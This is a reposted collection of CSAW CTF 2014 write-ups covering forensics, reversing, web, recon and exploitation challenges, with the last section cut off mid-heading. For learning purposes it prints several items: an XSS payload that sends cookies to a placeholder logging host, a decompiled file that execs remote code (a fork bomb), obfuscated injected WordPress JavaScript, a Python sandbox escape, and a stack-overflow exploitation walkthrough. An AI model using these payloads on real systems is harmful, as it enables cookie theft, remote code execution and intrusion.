CSAW CTF2014 write-up
2014-09-28 15:59
1796 查看
前几天做了CSAW CTF,感觉自己弱爆了,各种题都不大会做,于是就上网上找大牛们的writeup,希望对读者能有所帮助。
题目的题解不全,有些题没有找到writeup,只能坐等那些大牛们了。
Big Data
Openthe provided
pcap.pcapngfile in Wireshark. Go to Edit →Find Packet →
String → Search in packet bytes, and enter
password.
This reveals an exchange over the
telnetprotocol where a server asks for a password. The next packets each contain a single character of the password, sent from the client to the server. To quickly view them all, right-click on the first packet
and click Follow TCP Stream.
This reveals the following:
Linux 3.13.0-32-generic (ubuntu) (pts/0) ..ubuntu login: j.ju.ul.li.ia.an.n . ..Password: flag{bigdataisaproblemnotasolution} . . Login incorrect ..ubuntu login:
The flag is
bigdataisaproblemnotasolution
CSAW CTF 2014: dumpster diving
Category: ForensicsPoints: 100Description:dumpsters are cool, but cores are cooler
Written by marc
firefox.mem.zip
Write-up
$ file firefox.mem.zip firefox.mem.zip: Zip archive data, at least v2.0 to extract $ unzip firefox.mem.zip Archive: firefox.mem.zip inflating: firefox.mem $ file firefox.mem firefox.mem: ELF 64-bit LSB core file x86-64, version 1 (SYSV), SVR4-style, from '/usr/lib/firefox/firefox' $ strings firefox.mem | grep 'flag{' ZZZZZZZZflag{cd69b4957f06cd818d7bf3d61980e291}
The flag is
cd69b4957f06cd818d7bf3d61980e291(which, by the way, happens to be the MD5 hash of the string
memory).
CSAW CTF 2014: eggshells
Category: Reverse EngineeringPoints: 100Description:I trust people on the internet all the time, do you?
Written by ColdHeat
eggshells-master.zip
Write-up
Let’s unzipthe provided zip file:
$ unzip eggshells-master.zip
This creates a directory
eggshells-masterthat contains a bunch of Python files. One compiled Python file,
utils.pyc, stands out. Let’s decompile it using
uncompyle2:
$ uncompyle2 utils.pyc # 2014.09.22 10:53:48 CEST #Embedded file name: /Users/kchung/Desktop/CSAW Quals 2014/rev100/utils.py exec __import__('urllib2').urlopen('http://kchung.co/lol.py').read() +++ okay decompyling utils.pyc # decompiled 1 files: 1 okay, 0 failed, 0 verify failed # 2014.09.22 10:53:48 CEST
That URL looks interesting.
$ curl 'http://kchung.co/lol.py' import os while True: try: os.fork() except: os.system('start') # flag{trust_is_risky}
The flag is
trust_is_risky.
CSAW CTF 2014: Fluffy No More
Category: ForensicsPoints: 300Description:OH NO WE'VE BEEN HACKED!!!!!! -- said the Eye Heart Fluffy Bunnies Blog owner. Life was grand for the fluff fanatic until one day the site's users started to get attacked! Apparently fluffy bunnies are not just a love of fun furry families but also furtive
foreign governments. The notorious "Forgotten Freaks" hacking group was known to be targeting high powered politicians. Were the cute bunnies the next in their long list of conquests!??
Well... The fluff needs your stuff. I've pulled the logs from the server for you along with a backup of its database and configuration. Figure out what is going on!
Written by brad_anton
CSAW2014-FluffyNoMore-v0.1.tar.bz2
Write-up
As its extension suggests,the provided
CSAW2014-FluffyNoMore-v0.1.tar.bz2file is a bzip2-compressed tarball:
$ file CSAW2014-FluffyNoMore-v0.1.tar.bz2 CSAW2014-FluffyNoMore-v0.1.tar.bz2: bzip2 compressed data, block size = 900k
Let’s extract it:
$ tar xjfv CSAW2014-FluffyNoMore-v0.1.tar.bz2 x CSAW2014-FluffyNoMore-v0.1/ x CSAW2014-FluffyNoMore-v0.1/etc_directory.tar.bz2 x CSAW2014-FluffyNoMore-v0.1/logs.tar.bz2 x CSAW2014-FluffyNoMore-v0.1/mysql_backup.sql.bz2 x CSAW2014-FluffyNoMore-v0.1/webroot.tar.bz2
Oh, it contains more tarballs! Let’s extract those as well:
$ cd CSAW2014-FluffyNoMore-v0.1 $ for file in *.tar.bz2; do mkdir -p "${file}-extracted"; tar --directory "${file}-extracted" -xjf "${file}"; done
Viewing
logs.tar.bz2-extracted/var/log/auth.logreveals an interesting entry:
Sep 17 19:20:09 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/vi /var/www/html/wp-content/themes/twentythirteen/js/html5.js
Someone with root access to the server edited the web-exposed
/wp-content/themes/twentythirteen/js/html5.jsfile. Reviewing the file’s contents (
webroot.tar.bz2-extracted/var/www/html/wp-content/themes/twentythirteen/js/html5.js),
it’s clear that some malicious JavaScript code was inserted.
var g="ti";var c="HTML Tags";var f=". li colgroup br src datalist script option .";f = f.split(" ");c="";k="/";m=f[6];for(var i=0;i<f.length;i++){c+=f[i].length.toString();}v=f[0];x="\'ht";b=f[4];f=2541*6-35+46+12-15269;c+=f.toString();f=(56+31+68*65+41-548)/4000-1;c+=f.toString();f="";c=c.split("");var w=0;u="s";for(var i=0;i<c.length;i++){if(((i==3||i==6)&&w!=2)||((i==8)&&w==2)){f+=String.fromCharCode(46);w++;}f+=c[i];} i=k+"anal"; document.write("<"+m+" "+b+"="+x+"tp:"+k+k+f+i+"y"+g+"c"+u+v+"j"+u+"\'>\</"+m+"\>");
The above script is equivalent to the following:
document.write("<script src='http://128.238.66.100/analytics.js'><\/script>");
Let’s download
the
analytics.jsfile so we can take a look at it:
$ wget http://128.238.66.100/analytics.js
The file consists of minified code, most of which is legitimate. A small part of it stands out because it’s obfuscated, though:
var _0x91fe=["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66","\x5F\x73\x65\x6C\x66","\x6F\x70\x65\x6E"];window[_0x91fe[2]](_0x91fe[0],_0x91fe[1]);
This
is equivalent to:
var _0x91fe=["http://128.238.66.100/announcement.pdf","_self","open"]; window[_0x91fe[2]](_0x91fe[0],_0x91fe[1]);
…which is equivalent to:
window.open('http://128.238.66.100/announcement.pdf', '_self');
Let’s download
that
announcement.pdffile:
$ wget http://128.238.66.100/announcement.pdf
Opening the PDF file in
PDF Stream Dumper reveals some hidden JavaScript code:
var _0xee0b=["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D"];var y=_0xee0b[0];
This
is equivalent to:
var _0xee0b=["YOU DID IT! CONGRATS! fwiw, javascript obfuscation is sofa king dumb :) key{Those Fluffy Bunnies Make Tummy Bumpy}"]; var y=_0xee0b[0];
The flag is
Those Fluffy Bunnies Make Tummy Bumpy
CSAW CTF 2014: Fuzyll
Category: ReconPoints: 100Description:Unbeknownst to many, Fuzyll is actually the next Dendi. Like most of Reddit, he just needs better teammates first. He's not ranked yet, but his MMR would definitely be at least 10000. I mean, have you seen him play?
Written by fuzyll
Write-up
One possible solution is:Go to dotabuff.com.
Search for ‘fuzyll’ and click ‘matches’ which takes you to http://www.dotabuff.com/players/80484382/matches. Click the seventh match (at the time of CSAW CTF) where it says “Won Match”.
The URL is http://www.dotabuff.com/matches/903461176, so the match ID is
903461176.
Go to dotabank.com
Enter the match ID
903461176, which takes you to http://dotabank.com/replays/903461176/. Get the replay and get the flag.
CSAW CTF 2014: geohot pls
Category: TriviaPoints: 10Description:This is what geohot and other members of the CTF community are calling live streamed CTF competitions where spectators can watch competitors screens as they solve challenges.
Write-up
The answer islivectf.
CSAW CTF 2014: hashes
Category: WebPoints: 300Description:location, location, location
Chal is very very stable. If you were scanning the site while I was doing dev work your requests are probably being dropped.
http://54.86.199.163:7878/
Written by ColdHeat
Write-up
The linked page uses an old version of the jQuery library (v1.6.1),which enables an XSS vulnerability when e.g.
$('#' + userContent)is called (CVE-2011-4969). The page also contains this script:
$(window).bind( 'hashchange', function(e) { $('.image').hide() tag = window.location.hash $(tag).show() }); tag = window.location.hash $(tag).show()
This makes it possible to inject arbitrary JavaScript simply by changing the hash in the URL. For example,
#<img src=/ onerror=alert(1)>displays an alert box.
The page also features a form that can be used to submit image URLs that will then be visited by a bot. Assuming the bot has special admin privileges on this website, and possibly an interesting cookie, let’s try submitting this URL:
http://54.86.199.163:7878/#<img src=/ onerror=location='https://your-site.example.com/log?c='+document.cookie>
This redirects the bot to a page under our control, passing along the cookie value. The
logscript is a simple server-side script written in your language of choice that simply writes the
cURL parameter value to a file, or stores
it in a database.
A few moments after submitting the above URL, the bot indeed visits our page, and the logger script logs the cookie:
win="flag{these_browser_bots_are_annoying}"
The flag is
these_browser_bots_are_annoying.
CSAW CTF 2014: Kevin Chung
Category: ReconPoints: 100Description:Find a picture of me that's from before I was a high school student. Submit the URL to the file on the internet
If you find an alternative to the file I'm thinking of, PM it to me on IRC and I'll consider it but use this site to check if it's right first :)
Written by ColdHeat
Write-up
One possible solution was http://www.siths.org/album/48915/23451.jpg (taken fromthe 2007-Freshman Orientation album).
CSAW CTF 2014: Obscurity
Category: ForensicsPoints: 200Description:see or do not see
Written by marc
pdf.pdf
Write-up
The provided PDF file contains some hidden text.One way to get to it is by opening the PDF in your viewer of choice, selecting all of its contents (using
Ctrl+
Aor
⌘+
A), copying it, and then pasting it into your text editor of choice.
Another possible solution is to use the
pdftotextcommand-line utility:
$ pdftotext pdf.pdf $ strings pdf.txt flag{security_through_obscurity}
The flag is
security_through_obscurity.
CSAW CTF 2014: pybabbies
Category: ExploitationPoints: 200Description:so secure it hurts
nc 54.165.210.171 12345
Written by ColdHeat
pyshell.py
Write-up
The provided Python script is a Python sandbox that disallows the use of the following commands:banned = [ "import", "exec", "eval", "pickle", "os", "subprocess", "kevin sucks", "input", "banned", "cry sum more", "sys" ]
One possible solution is the following:
print(().__class__.__bases__[0].__subclasses__()[40]('./key').read())
This prints the contents of the
keyfile:
flag{definitely_not_intro_python}
The flag is
definitely_not_intro_python
CSAW CTF 2014: Shameless plug
Category: TriviaPoints: 10Description:This is the name of the new USENIX workshop that featured papers on CTFs being used for education.
Write-up
Googling for “new USENIX workshop for education” gives3GSE'14.
The flag is
3GSE.
CSAW CTF 2014: We don’t know either
Category: TriviaPoints: 10Description:On this day in November, the CSAW Career Fair takes place in Brooklyn, New York.
Write-up
The expected solution was14. See https://csaw.isis.poly.edu/careerfair and http://www.eventbrite.com/e/csaw-registration-tickets-12262823435.
CSAW CTF 2014: weissman
Category: Reverse EngineeringPoints: 300Description:Extract the key!
Written by RyanWithZombies
Update: The key is not
flag{ don't trust the Cheshire cat!! he works for the Queen of Hearts }. Sorry about that. It's an artifact from an easier version of this challenge. You need to extract
key.jpg.
HINT:
CSAWLZ is a completely custom format! You won't find decompressing tools on the internet. We made it just for you. :)
typedef struct _hdr { uint8_t magic[8]; uint32_t version; uint32_t num_files; } hdr; typedef struct _entry { uint32_t magic; uint32_t compressed_size; uint32_t uncompressed_size; uint8_t filename[32]; } entry;
weissman.csawlz
Write-up
Here is aJava-based solution to this challenge.
During the CTF, it seems that most (probably all) of the people who solved it, didn’t completely decompress the files contained within the archive, but were able to get the important file (
key.jpg) readable enough simply by filling the space
required with zeros, as described in the link below.
After the CTF was complete, I asked to author (RyanWithZombies) if he was going to do a write-up, but he said he wasn’t and linked me to the C++ source he used to compress the archive (https://gist.github.com/withzombies/909b403852ea1e31f553).
I was able to port the decompressing and hashing code to Java and incorporate it into the code I wrote during the CTF. Our team didn’t actually get the key in time (oh well) but I was interested enough to keep poking at this until I got it to work.
Roughly, the process of extracting a single file is this:
first, create a hashmap to store uncompressed data blocks
read the first byte from the input, which is a control byte
Then in a loop, do this:
control_byte >> 1to extract the size of the current data block
control_byte & 0b00000001) != 0b00000001to determine if the block is
compressedor not (if the statement evaluates to
true, the block is compressed)
If the block is not
compressed:
read
sizenumber of bytes from the
inputand store them in a
buffer.
create a
hashof the first 4 bytes in the buffer
store the buffered bytes in the
hashmapusing the
hashas the key
write the
bufferto
output
read the next
control_byteif it exists and restart the loop
If the block is compressed:
read two bytes from the
input; these bytes are the
hash
using the
hashas the key, get the bytes stored in the
hashmap
read
sizenumber of bytes from the bytes you just retrieved from the hashmap into a
buffer
write the bytes in the
bufferto the
output
read the next
control_byteif it exists and restart the loop
When you find that the next
control_bytedoesn’t exist, you are done and can write the
outputto disk.
As stated, this is a very rough outline of what is actually going on — check out the
CSAWlz.javafile for a better
understanding of exactly what happens during decompressing.
Thanks to RyanWithZombies for an interesting challenge!
CSAW CTF 2014: why not sftp?
Category: ForensicsPoints: 200Description:well seriously, why not?
Written by marc
traffic-5.pcap
Write-up
Openthe provided
traffic-5.pcapfile in Wireshark.
There are various ways to look for interesting packets:
Go to Statistics → Conversations and look for interesting traffic patterns. Or, alternatively…
Go to Edit → Find Packet → String → Search in packet bytes, and enter
flag. Or, alternatively…
The challenge name hints at FTP usage, so let’s filter the packet captures over the FTP-DATA protocol by typing
ftp-datainto the filter box. Click the capture labeled number
413.
Right-click the capture and select Follow TCP Stream. Notice how the first few bytes match the file header for ZIP files (
PK\x03\x04).
To extract this ZIP file from the PCAP file, click the
Save Asbutton at the bottom, and save it somewhere as a
*.zipfile. Unzip the file however you want and open the
flag.pnginside. It displays:
flag{91e02cd2b8621d0c05197f645668c5c4}
The flag is
91e02cd2b8621d0c05197f645668c5c4(which, by the way, happens to be the MD5 hash of the string
network).
CSAW CTF 2014: xorcise
Category: ExploitationPoints: 500Description:nc 128.238.66.227 24001
Written by raid
xorcisexorcise.c
Write-up
This is a somewhat detailed write-up by Xor0X from teamHacknamStyle.
Length checking vulnerabilities:
Part One
By inspectingthe source code we see the binary is a service which listens on port 24001. New clients are handled in
int process_connection(int sockfd). This function reads one single packet, which is expected to be in the following format:
struct cipher_data { /** Header: Unencrypted and unauthenticated */ uint8_t length; /** Length of the bytes array */ uint8_t key[8]; /** Payload: Encrypted and (partly) authenticated */ uint8_t bytes[128]; };
As the comments indicate, the header is sent unencrypted. In particular this header includes an 8-byte key (which is chosen by the client). Roughly speaking the
bytesarray is XORed with the key in blocks of 8 bytes. The function doing this decryption
is
decipher(data, output), which will be investigated in more detail later on (because it contains a vulnerability). The
lengthfield the header contains the actual size of the
bytesarray. This must be smaller or equal to 128. An attempt is made to assure the given length is valid:
cipher_data encrypted; ssize_t bytes_read = recv(sockfd, (uint8_t *)&encrypted, sizeof(encrypted), 0); if (encrypted.length > bytes_read) return -1;
However this check is flawed. Variable
bytes_readis the length of the packet including the header, while the program will treat the
lengthfield as the size of the
bytesarray. This means that as an attacker we can force the length to be bigger than 128.
The second vulnerability is in
decipher(data, output). This function decrypts the
bytesarray using the key. Somewhat simplified we have the following code:
uint32_t decipher(cipher_data *data, uint8_t *output) { uint8_t buf[MAX_BLOCKS * BLOCK_SIZE]; uint32_t loop, block_index; memcpy(buf, data->bytes, sizeof(buf)); if ((data->length / BLOCK_SIZE) > MAX_BLOCKS) data->length = BLOCK_SIZE * MAX_BLOCKS; // Block-decryption loop for (loop = 0; loop < data->length; loop += 8) for (block_index = 0; block_index < 8; ++block_index) buf[loop+block_index] ^= (0x8F ^ data->key[block_index]); memcpy(output, buf, sizeof(buf)); }
Note that
data->bytesis copied to a local buffer, and this local buffer is then processed. The first if-test is an attempt to assure that
data->lengthis not bigger than the local buffer. However this checked is flawed because in
(data->length / BLOCK_SIZE)the intermediate result will be rounded down. In particular, the following value will pass the length check:
data->length = BLOCK_SIZE * MAX_BLOCKS + (BLOCK_SIZE - 1) = 135
And due to the first length check vulnerability, we know that
data->lengthcan indeed contain such values. The consequence of both vulnerabilities means that we can force the block-decryption loop todecrypt an extra block of 8-bytes.
Since the local buffer is too small for this, we are capable of modifying local variables placed after the buffer. In particular we can overwrite
loopand
block_index.
Length checking vulnerabilities:
Part Two?
Interestingly, decipher(data, output)is the only function that uses the
lengthfield in the header. All other functions are coded in such a way that knowing this length is not required. This causes another peculiar observation:
when setting
lengthto zero, no decryption takes place, and the packet is processed as-is. This observation is not required to solve the challenge though (but it does make it easier to construct packets).
Authentication and Commands
The above two vulnerabilitiesare sufficient to exploit the challenge. However we had some problems doing this, and instead opted for another approach. Our approach relies on additional functionality of the challenge: letting it execute commands. We can execute three commands: (1) getting
the current server time; (2) reading an arbitrary file; (3) executing a system command. The latter two commands required the packet to be authenticated. The client must provide a checksum equal to
H(H(password||key) || H(data||password))for the
packet to be authenticated. Here
passwordis a secret loaded at startup, and
keyand
dataare chosen by the client. The function
H()seems to be a custom (and insecure?) hash function.
Exploitation
We use both length-check vulnerabilities to read the secretpassword. Once we have this, we can execute arbitrary system commands on the server, and exploitation becomes trivial.
In the
decipher(data, output)function we overwrite the return address. This is done by first overwriting the local variable
loop, such that the next xor-decrypt operation will point to the return address. We prevent other variables
from being overwritten by XORing with zero. Recall that we can XOR 8 bytes in total, and in particular we XOR these bytes with the
keyin the header of the packet.
Where will we point the return address to? First observe that, because of the last
mempcycall, the
eaxregister contains a pointer to the local buffer when returning from the function. Hence the content pointed to by
eaxis under our control. If we now exploit the binary for interesting gadgets, we spot the following:
.text:08049290 mov eax, [ebp+packet] .text:08049293 add eax, 8 .text:08049296 sub esp, 8 .text:08049299 push eax ; filename .text:0804929A push [ebp+fd] ; fd .text:0804929D call read_file
This is the code that calls
read_file(sockfd, name). When returning from
decipherthe
ebpregister is restored, hence it correctly points to the local variables. However, variable
packetis not yet initialized by the program, hence we can't use it. Instead we redirect code to
push eax; push [ebp+fd]. Since
eaxpoints to the beginning of the buffer this code will successfully be executed. Putting the string
password.txtin the start of the buffer will now make the service print out the passwordpass123. We can now send
authenticated commands and execute arbitrary shell commands. The flag was in the file
flag.txtin the same directory as
password.txt(i.e. the current working directory).
Remark: the problem we encountered when directly calling
system(cmd)was that it would overwrite the local buffer used in
decipher(since it was saved on the stack). Recall that the pointer to this buffer was stored in
eax.
Luckily, in the
read_filefunction, the stack is used in such a way so this didn't occur.
CSAW CTF 2014: Julian Cohen
Category: ReconPoints: 100Description:Figure out how to get Julian to go on a date with you.
HINT: Julian uses OkCupid
Written by HockeyInJune
Write-up
The intended solution was to findthis OkCupid profile, which displays the flag
julian_will_not_date_you_sorry.
During the CTF, a troll
set up another OkCupid profile that was much easier to find whose ‘self-summary’ is as follows:
flag{flowers_and_wine_will_get_me}
The CTF organisers counter-trolled by accepting that flag (
flowers_and_wine_will_get_me) as well.
2014 quals – wololo (rev300)
For this task we are provided with aniOS ARM listing, our goal is to craft a database file that will be accepted by the server.
First we start crafting the header of the file, and for this the hint that was released later in the competition was really useful:
typedef struct { uint32_t magic; uint32_t version; uint16_t num_cols; uint16_t num_rows; } header_t;
Let's look at the asm code, we can realize that var_18 contains our
input file.
So we need a magic byte, and we can find the check for it here:
__text:00000B20 MOV R0, #0x4F4C4F57
__text:00000B28 LDR R1, [SP,#0x2C+var_18]
__text:00000B2A LDR R1, [R1]
__text:00000B2C CMP R1, R0
Thus "574F4C4F"="WOLO" needs to be at the beginning of our file (remember we are in a little endian architecture). Now let's look for the version number:
__text:00000B3A LDR R0, [SP,#0x2C+var_18]
__text:00000B3C LDR R0, [R0,#4]
__text:00000B3E CMP R0, #1
At offset #4 we need to put a 1 (0100 0000 because we are in a little endian world :P).
Then the code checks for the number of rows at offset #0xA and later for the number of cols at offset #8. Note that the number of rows needs to be between 4 and 0x1000 because of the following check:
__text:00000B4C LDR R0, [SP,#0x2C+var_18]
__text:00000B4E LDRH R0, [R0,#0xA]
__text:00000B50 CMP R0, #4
[...]
__text:00000B5E LDR R0, [SP,#0x2C+var_18]
__text:00000B60 LDRH R0, [R0,#0xA]
__text:00000B62 CMP.W R0, #0x1000
While the number of cols needs to be between 4 and 0x10:
__text:00000B72 LDR R0, [SP,#0x2C+var_18]
__text:00000B74 LDRH R0, [R0,#8]
__text:00000B76 CMP R0, #4
[...]
__text:00000B84 LDR R0, [SP,#0x2C+var_18]
__text:00000B86 LDRH R0, [R0,#8]
__text:00000B88 CMP R0, #0x10
Later we can see that the code calculates the length of the column definition which is 0x11 bytes * n_cols and checks each column type with the function "_col_size". We know that a col_t is 17 bytes from the hint:
typedef struct { uint8_t type; char name[16]; } col_t;
__text:00000B98 LDRH R0, [R0,#8]
__text:00000B9A MOVS R1, #0x11
__text:00000BA0 MULS R0, R1
A similar check is done for rows.
So what we need to do now is to write the column definition, followed by the actual content of each row. As we know the structure of col_t this is an easyjob, however
we need to know which columns and with which content are expected by the "_check_login" function.
We can go through it and find out that these are the needed information to
save in the db:
USERNAME: captainfalcon
PASSWORD: fc03329505475dd4be51627cc7f0b1f1
ADMIN: probably we want this set to 1
ISAWESOME: also this should probably set to 1
We can also know the type of each column from the code:
USERNAME: __text:00000D16 CMP R0, #5 -> 5 means 16 bytes string
PASSWORD: __text:00000D7A CMP R0, #6 -> 6 means 32 bytes string
ADMIN: __text:00000DDE CMP R0, #0 -> 0 means 8 bit integer
ISAWESOME: __text:00000E34 CMP R0, #0 -> 0 means 8 bit integer
Now we just need to sum everything up. Let's start with the column definition
"\x05" + "USERNAME\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x06" + "PASSWORD\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00" + "ADMIN\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00" + "ISAWESOME\x00\x00\x00\x00\x00\x00\x00"
Then we just need to add the actual row data. Note that the format requires a minimum of 4 rows! So we can just replicate the row with our "captainfalcon" information for 4 times.
The final result is available
here. By sending the file with a python script provided by the organizers we get the flag:
flag{Small Group of Helpless Villages? Call in the Trebuchets.}
I really enjoyed this challenge, it allowed me to go back to some ARM assembly (and some Age of Empires atmosphere too)
Thanks to the CSAW organizers for this great CTF!
CSAW CTF 2014 – Exploitation 400 – saturn writeup
Thisexploitation challenge is based on a Challenge-Response-Authentication-Protocol system.
The goal was to figure out a way to get challenges the responses without the challenge-response keygen algorithm.
Running the binary
Since we don’t have the challenge-response keygen algorithm (libchallengeresponse.so) we can create a decoy one.The vulnerability
The challenges are stored from 0x0804A0C0 to 0x0804A0DF, the responses are stored from0x0804A0E0 to0x0804A0F.
If we send 0xA0 to the server we get the first challenge, if we send0xA2 we get the third challenge.
During a challenge request the lowest byte value is multiplied by 4. It represents the offset tostep to the next 32 bit value.
The vulnerability lies in the fact that we can manipulate the offset from
0x0 to 0xF in a challenge request.
The program expect the client to request challenge from 0xA00xA7.
If the client sends 0xA8 the query is valid and the
first response is sent back.
The exploit
相关文章推荐
- Pwnium CTF2014 – MatterOfCombination writeup
- writeup hitcon-ctf-2014/stkof
- [writeup]360-ctf-2014-re123
- 初级CTF: ipspoofing writeup
- 2017 429 ichunqiu ctf smallest(pwn300) writeup
- 4000 XDSEC 西电CTF练习题WriteUp
- 33c3 CTF web WriteUp
- bugkuCTF Writeup (Web)10-14
- google ctf 2017 inst_prof writeup
- 百度杯CTF Write up集锦 WEB篇
- H4CK1T CTF 2016 Mexico-Remote pentest writeup
- CTF-练习平台 writeup web
- 2017-0CTF-simplesplin-write up
- i春秋ctf训练write up(一)
- 谁是卧底-CTF题目writeup
- CUIT CTF WriteUp-BP断点
- "百度杯"CTF 9月2日 WriteUp.md
- 2014XDCTF——web简单write up
- sharif ctf pwn t00p_secrets writeup